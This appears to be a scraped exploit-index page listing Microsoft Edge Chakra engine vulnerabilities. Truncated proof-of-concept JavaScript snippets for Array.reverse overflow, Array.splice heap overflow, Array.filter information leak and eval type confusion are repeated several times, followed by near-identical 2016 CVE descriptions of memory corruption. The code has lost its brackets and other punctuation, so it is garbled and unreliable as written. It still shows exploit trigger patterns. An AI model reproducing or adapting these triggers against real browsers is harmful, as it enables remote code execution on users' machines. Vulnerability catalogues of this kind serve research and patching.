Microsoft Edge - Array.reverse Overflow

Microsoft Edge - Array.reverse Overflow left = uint32length - seg-left + seg-length; Can become a very large value as length is larger than seg-length and seg-left is generally 0. This can cause the segment length to become larger than the segment size the next time...

Microsoft Edge - eval Type Confusion Vulnerability

Exploit for windows platform in category dos / poc var p = new Proxyeval, ; p"alert"e""; 0day.today 2018-02-16...

Microsoft Edge - 'Array.splice' Heap Overflow

var a = ; class dummy a.length = 200000; a.fill7, 10000, 10200; var o = ; Object.definePropertyo, 'constructor', get: function a.length = 0xfffffffe; var k = ; k.fill.calla, 7.7, 0xfffff000, 0xfffffffe; return dummy; ; a.proto = o; var q = ; q.length = 500; q.fill7.7; var j = ; a.length =...

Microsoft Edge - 'Array.filter' Information Leak

var b = new Array1,2,3; var d = new Array1,2,3; class dummy constructor alert"in constructor"; return d; class MyArray extends Array // Overwrite species to the parent Array constructor static get Symbol.species alert"get"; b0 = ; return dummy; var a = new Array, , "natalie", 7, 7, 7, 7, 7;...

Microsoft Edge - Array.filter Information Leak

Microsoft Edge - Array.filter Information Leak var b = new Array1,2,3; var d = new Array1,2,3; class dummy constructor alert"in constructor"; return d; class MyArray extends Array // Overwrite species to the parent Array constructor static get Symbol.species alert"get"; b0 = ; return dummy; var a...

Microsoft Edge - 'Array.reverse' Overflow

left = uint32length - seg-left + seg-length; Can become a very large value as length is larger than seg-length and seg-left is generally 0. This can cause the segment length to become larger than the segment size the next time SparseArraySegmentBase::EnsureSizeInBound is called, as the method...

Microsoft Edge - Array.splice Heap Overflow

Microsoft Edge - Array.splice Heap Overflow var a = ; class dummy a.length = 200000; a.fill7, 10000, 10200; var o = ; Object.definePropertyo, 'constructor', get: function a.length = 0xfffffffe; var k = ; k.fill.calla, 7.7, 0xfffff000, 0xfffffffe; return dummy; ; a.proto = o; var q = ; q.length =...

Microsoft Edge - eval Type Confusion

Microsoft Edge - eval Type Confusion var p = new Proxyeval, ; p"alert"e"";...

Microsoft Edge - 'eval' Type Confusion

var p = new Proxyeval, ; p"alert"e"";...

CVE-2016-7243

The Chakra JavaScript scripting engine in Microsoft Edge allows remote attackers to execute arbitrary code or cause a denial of service memory corruption via a crafted web site, aka "Scripting Engine Memory Corruption Vulnerability," a different vulnerability than CVE-2016-7200, CVE-2016-7201,...

CVE-2016-7240

The Chakra JavaScript scripting engine in Microsoft Edge allows remote attackers to execute arbitrary code or cause a denial of service memory corruption via a crafted web site, aka "Scripting Engine Memory Corruption Vulnerability," a different vulnerability than CVE-2016-7200, CVE-2016-7201,...

CVE-2016-7208

The Chakra JavaScript scripting engine in Microsoft Edge allows remote attackers to execute arbitrary code or cause a denial of service memory corruption via a crafted web site, aka "Scripting Engine Memory Corruption Vulnerability," a different vulnerability than CVE-2016-7200, CVE-2016-7201,...

CVE-2016-7203

The Chakra JavaScript scripting engine in Microsoft Edge allows remote attackers to execute arbitrary code or cause a denial of service memory corruption via a crafted web site, aka "Scripting Engine Memory Corruption Vulnerability," a different vulnerability than CVE-2016-7200, CVE-2016-7201,...

CVE-2016-7202

The scripting engines in Microsoft Internet Explorer 9 through 11 and Microsoft Edge allow remote attackers to execute arbitrary code or cause a denial of service memory corruption via a crafted web site, aka "Scripting Engine Memory Corruption Vulnerability," as demonstrated by the Chakra...

CVE-2016-7201

The Chakra JavaScript scripting engine in Microsoft Edge allows remote attackers to execute arbitrary code or cause a denial of service memory corruption via a crafted web site, aka "Scripting Engine Memory Corruption Vulnerability," a different vulnerability than CVE-2016-7200, CVE-2016-7202,...

CVE-2016-7200

The Chakra JavaScript scripting engine in Microsoft Edge allows remote attackers to execute arbitrary code or cause a denial of service memory corruption via a crafted web site, aka "Scripting Engine Memory Corruption Vulnerability," a different vulnerability than CVE-2016-7201, CVE-2016-7202,...

Memory corruption

The Chakra JavaScript scripting engine in Microsoft Edge allows remote attackers to execute arbitrary code or cause a denial of service memory corruption via a crafted web site, aka "Scripting Engine Memory Corruption Vulnerability," a different vulnerability than CVE-2016-7201, CVE-2016-7202,...

Memory corruption

The Chakra JavaScript scripting engine in Microsoft Edge allows remote attackers to execute arbitrary code or cause a denial of service memory corruption via a crafted web site, aka "Scripting Engine Memory Corruption Vulnerability," a different vulnerability than CVE-2016-7200, CVE-2016-7201,...

Memory corruption

The Chakra JavaScript scripting engine in Microsoft Edge allows remote attackers to execute arbitrary code or cause a denial of service memory corruption via a crafted web site, aka "Scripting Engine Memory Corruption Vulnerability," a different vulnerability than CVE-2016-7200, CVE-2016-7202,...

Memory corruption

The Chakra JavaScript scripting engine in Microsoft Edge allows remote attackers to execute arbitrary code or cause a denial of service memory corruption via a crafted web site, aka "Scripting Engine Memory Corruption Vulnerability," a different vulnerability than CVE-2016-7200, CVE-2016-7201,...